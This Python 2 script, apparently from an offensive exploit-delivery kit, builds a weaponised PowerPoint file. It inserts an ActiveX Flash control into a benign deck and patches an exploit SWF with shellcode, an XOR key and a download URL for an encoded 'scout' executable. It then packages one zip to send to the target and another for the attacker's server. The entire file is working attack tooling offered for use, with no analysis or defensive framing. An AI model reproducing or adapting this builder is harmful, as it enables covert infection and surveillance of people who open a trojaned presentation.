src/exploit_vps/html/admin/2013-003-PowerPoint/exploit.py
import sys
import os
import warnings
import zlib
sys.path.append(os.getcwd() + '/' + "pylzma.egg")
import pylzma
import struct
import random
import shutil
from zipfile import ZipFile
import zipfile
import time
random.seed()
def random_id(length):
number = '0123456789'
alpha = 'abcdefghijklmnopqrstuvwxyz'
id = ''
for i in range(0,length,2):
id += random.choice(number)
id += random.choice(alpha)
return id
def four_byte_xor(buf, key):
out = ''
for i in range(0,len(buf)/4):
c = struct.unpack("<I", buf[(i*4):(i*4)+4])[0]
c ^= key
out += struct.pack("<I", c)
reminder = len(buf) % 4
for i in range(len(buf)-reminder, len(buf)):
c = struct.unpack("B", buf[i])[0]
c ^= 0x41
out += struct.pack("B", c)
return out
SWF_RANDOM_NAME = random_id(12) + ".swf"
EXE_RANDOM_NAME = random_id(12) + ".dat"
if sys.argv[2][-1] == "/":
EXE_URL = sys.argv[2] + EXE_RANDOM_NAME
SWF_URL = sys.argv[2] + SWF_RANDOM_NAME
else:
EXE_URL = sys.argv[2] + '/' + EXE_RANDOM_NAME
SWF_URL = sys.argv[2] + '/' + SWF_RANDOM_NAME
#SWF_URL = "/".join(sys.argv[2].split("/")[0:-1]) + '/' + SWF_RANDOM_NAME
SCOUT_NAME = sys.argv[8]
input_file = sys.argv[4]
output_file = sys.argv[5]
send_to_target_zip = sys.argv[3]
send_to_server_zip = sys.argv[7]
INPUT_SCOUT = sys.argv[6]
XOR_KEY = random.randint(0xdead, 0xdeadbeef)
exploit_file = "exploit.swf"
print SCOUT_NAME
print EXE_URL
print SWF_URL
print EXE_RANDOM_NAME
print SWF_RANDOM_NAME
print input_file
print output_file
print send_to_target_zip
print send_to_server_zip
print INPUT_SCOUT
def byteArray2String(param):
with warnings.catch_warnings():
warnings.simplefilter('ignore')
tmp = os.tempnam()
f = open(tmp, 'wb')
f.write(param)
f.close()
f = open(tmp, 'rb')
result = f.read()
f.close()
try:
os.unlink(tmp)
except WindowsError:
print "I/O error when deleting %s file"%(tmp)
return result
def create_ppt():
# unpack zip file
if not os.path.exists("tmp"):
os.mkdir("tmp")
myzip = ZipFile(input_file)
myzip.extractall("tmp")
myzip.close()
# update content types
buff = open("tmp/[Content_Types].xml", 'r').read()
idx = buff.lower().find("<types")
idx2 = buff[idx:].lower().find(">") + 1
buff2 = buff[:idx+idx2]
if buff.lower().find("vnd.ms-office.activex") == -1:
buff2 += '<Default ContentType="application/vnd.ms-office.activeX" Extension="bin"/>'
if buff.lower().find("image/x-wmf") == -1:
buff2 += '<Default ContentType="image/x-wmf" Extension="wmf"/>'
if buff.lower().find("application/vnd.openxmlformats-officedocument.vmldrawing") == -1:
buff2 += '<Default ContentType="application/vnd.openxmlformats-officedocument.vmlDrawing" Extension="vml"/>'
buff2 += '<Override ContentType="application/vnd.ms-office.activeX+xml" PartName="/ppt/activeX/activeX1.xml"/>'
buff2 += buff[idx+idx2:]
open("tmp/[Content_Types].xml", 'w').write(buff2)
# update slide1 rels
buff = open("tmp/ppt/slides/_rels/slide1.xml.rels", 'r').read()
idx = buff.lower().find("</relationships>")
buff2 = buff[:idx]
buff2 += '<Relationship Target="../activeX/activeX1.xml" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Id="rId1000"/>'
buff2 += '<Relationship Target="../drawings/vmlDrawing1003.vml" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/vmlDrawing" Id="rId1001"/>'
buff2 += '<Relationship Target="../media/image1000.wmf" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Id="rId1002"/>'
buff2 += "</Relationships>"
open("tmp/ppt/slides/_rels/slide1.xml.rels", 'w').write(buff2)
# update slide1
buff = open("tmp/ppt/slides/slide1.xml", 'r').read()
#idx = buff.lower().find("</w:body")
#idx2 = 0
idx = buff.lower().find("</p:sptree")
idx2 = buff[idx:].lower().find(">") + 1
buff2 = buff[:idx+idx2]
buff2 += ' <p:controls> <mc:AlternateContent xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006"> <mc:Choice xmlns:v="urn:schemas-microsoft-com:vml" Requires="v"> <p:control spid="1026" name="ShockwaveFlash1" r:id="rId1000" imgW="1440" imgH="1440"/> </mc:Choice> <mc:Fallback> <p:control name="ShockwaveFlash1" r:id="rId1000" imgW="1440" imgH="1440"> <p:pic> <p:nvPicPr> <p:cNvPr id="0" name="ShockwaveFlash1"/> <p:cNvPicPr preferRelativeResize="0"> <a:picLocks noChangeArrowheads="1" noChangeShapeType="1"/> </p:cNvPicPr> <p:nvPr/> </p:nvPicPr> <p:blipFill> <a:blip r:embed="rId1002"> <a:extLst> <a:ext uri="{28A0092B-C50C-407E-A947-70E740481C1C}"> <a14:useLocalDpi xmlns:a14="http://schemas.microsoft.com/office/drawing/2010/main" val="0"/> </a:ext> </a:extLst> </a:blip> <a:srcRect/> <a:stretch> <a:fillRect/> </a:stretch> </p:blipFill> <p:spPr bwMode="auto"> <a:xfrm> <a:off x="0" y="0"/> <a:ext cx="1588" cy="1588"/> </a:xfrm> <a:prstGeom prst="rect"> <a:avLst/> </a:prstGeom> <a:noFill/> <a:ln w="9525"> <a:miter lim="800000"/> <a:headEnd/> <a:tailEnd/> </a:ln> <a:effectLst/> <a:extLst> <a:ext uri="{AF507438-7753-43E0-B8FC-AC1667EBCBE1}"> <a14:hiddenEffects xmlns:a14="http://schemas.microsoft.com/office/drawing/2010/main"> <a:effectLst> <a:outerShdw dist="35921" dir="2700000" algn="ctr" rotWithShape="0"> <a:schemeClr val="bg2"/> </a:outerShdw> </a:effectLst> </a14:hiddenEffects> </a:ext> </a:extLst> </p:spPr> </p:pic> </p:control> </mc:Fallback> </mc:AlternateContent> </p:controls>'
#buff2 += '<p:controls><p:control spid="1026" name="ShockwaveFlash1" r:id="rId1000" imgW="1440" imgH="1440"/></p:controls>'
buff2 += buff[idx+idx2:]
open("tmp/ppt/slides/slide1.xml", 'w').write(buff2)
if os.path.exists("tmp/ppt/activeX"):
print "[!!] Unsupported file: contains an ActiveX"
sys.exit(-1);
if not os.path.exists("tmp/ppt/activeX/"):
shutil.copytree("resources/activeX/", "tmp/ppt/activeX/")
if not os.path.exists("tmp/ppt/media/"):
shutil.copytree("resources/media/", "tmp/ppt/media/")
else:
shutil.copy("resources/media/image1000.wmf", "tmp/ppt/media/")
#shutil.copy("resources/media/image1001.wmf", "tmp/ppt/media/")
if not os.path.exists("tmp/ppt/drawings/"):
shutil.copytree("resources/drawings/", "tmp/ppt/drawings/")
else:
shutil.copy("resources/drawings/vmlDrawing1003.vml", "tmp/ppt/drawings/")
shutil.copy("resources/drawings/_rels/vmlDrawing1003.vml.rels", "tmp/ppt/drawings/_rels/")
random.seed()
create_ppt()
XOR_OFFT = 0x80 * 2
URL_OFFT = XOR_OFFT + (0x4*2)
SCOUT_OFFT = 0x108 * 2
# decompress swf
compressed_swf = open("resources/exploit.swf", 'rb').read()
swf_buff = zlib.decompress(compressed_swf[8:])
# replace
swf_buff = swf_buff.replace("vector-exploit", "pector-isbrovi")
# get offset to shellcode
stage2_offset = swf_buff.find(b"00000000000000006408908F")
if stage2_offset == 0:
print "[!!] Gadget for shellcode not found"
sys.exit(-1)
print "[+] Gadget for shellcode found @ 0x%x" %(stage2_offset)
swf_bytearray = bytearray(swf_buff)
# replace shellcode
shellcode = open("resources/shellcode", 'rb').read()
if len(shellcode) > 5800:
print "[!!] Shellcode too big: 0x%x" % (len(shellcode))
sys.exit(-1)
hex_shellcode = shellcode.encode('hex')
for i in range(len(hex_shellcode)):
swf_bytearray[stage2_offset + i] = hex_shellcode[i]
# modify URL
hex_url = EXE_URL.encode('hex') + "0000"
print "[+] Hex URL => %s" %(hex_url)
for i in range(len(hex_url)):
swf_bytearray[stage2_offset + URL_OFFT + i] = hex_url[i]
# modify scout name
hex_scout = "5c" + SCOUT_NAME.encode('hex') + "0000"
print "[+] Scout Name => %s" % (hex_scout)
for i in range(len(hex_scout)):
swf_bytearray[stage2_offset + SCOUT_OFFT + i] = hex_scout[i]
# modify xor key
hex_xorkey = ("%08x" % XOR_KEY)
print "[+] Hex key => %s" %(hex_xorkey)
swf_bytearray[stage2_offset + XOR_OFFT + 0] = hex_xorkey[6]
swf_bytearray[stage2_offset + XOR_OFFT + 1] = hex_xorkey[7]
swf_bytearray[stage2_offset + XOR_OFFT + 2] = hex_xorkey[4]
swf_bytearray[stage2_offset + XOR_OFFT + 3] = hex_xorkey[5]
swf_bytearray[stage2_offset + XOR_OFFT + 4] = hex_xorkey[2]
swf_bytearray[stage2_offset + XOR_OFFT + 5] = hex_xorkey[3]
swf_bytearray[stage2_offset + XOR_OFFT + 6] = hex_xorkey[0]
swf_bytearray[stage2_offset + XOR_OFFT + 7] = hex_xorkey[1]
# compress swf
uncompressed_len = len(swf_bytearray)
uncompressed_len += len("ZWS\x0d")
uncompressed_len += 4 # + se stessa
print "[+] Uncompressed len: 0x%x" %(uncompressed_len)
lzma_buff = pylzma.compress(byteArray2String(swf_bytearray))
compressed_len = len(lzma_buff) - 5
print "[+] Compressed len: 0x%x" %(compressed_len)
output_buff = "ZWS\x0d"
output_buff += struct.pack("<L", uncompressed_len)
output_buff += struct.pack("<L", compressed_len)
output_buff += lzma_buff
# write it
open(SWF_RANDOM_NAME, 'wb').write(output_buff)
# modify ole link
ole_link_buff = open("tmp/ppt/activeX/activeX1.bin", 'rb').read()
ole_link_offt = ole_link_buff.find("h\x00t\x00t\x00p")
print "[+] Offset to first link: 0x%x" %(ole_link_offt)
ole_link2_offt = ole_link_buff.find("h\x00t\x00t\x00p", ole_link_offt+1)
print "[+] Offset to second link: 0x%x" %(ole_link2_offt)
swf_url_bytearray = bytearray(SWF_URL + "\x00\x00")
ole_link_bytearray = bytearray(ole_link_buff)
for i in range(len(ole_link_bytearray)):
#if i == ole_link_offt or i == ole_link2_offt or i == ole_link3_offt:
if i == ole_link_offt or i == ole_link2_offt:
y = 0
for x in range(len(swf_url_bytearray)):
ole_link_bytearray[i+y] = swf_url_bytearray[x]
ole_link_bytearray[i+y+1] = 0x0
y += 2
# dump modified ole link
open("tmp/ppt/activeX/activeX1.bin", 'wb').write(byteArray2String(ole_link_bytearray))
# create docx
cwd = os.getcwd()
os.chdir(cwd + "/tmp")
os.system("zip -r ../tmp.zip *")
os.chdir(cwd)
shutil.move("tmp.zip", output_file)
# zip per target
os.system("zip -r \"" + send_to_target_zip + "\" \"" + output_file + "\"")
#shutil.move(send_to_target_zip + ".zip", send_to_target_zip)
# zip per server
#shutil.copy(INPUT_SCOUT, EXE_RANDOM_NAME)
open(EXE_RANDOM_NAME, 'wb').write(four_byte_xor(open(INPUT_SCOUT, 'rb').read(), XOR_KEY))
os.system("zip \"" + send_to_server_zip + "\" " + EXE_RANDOM_NAME + " " + SWF_RANDOM_NAME)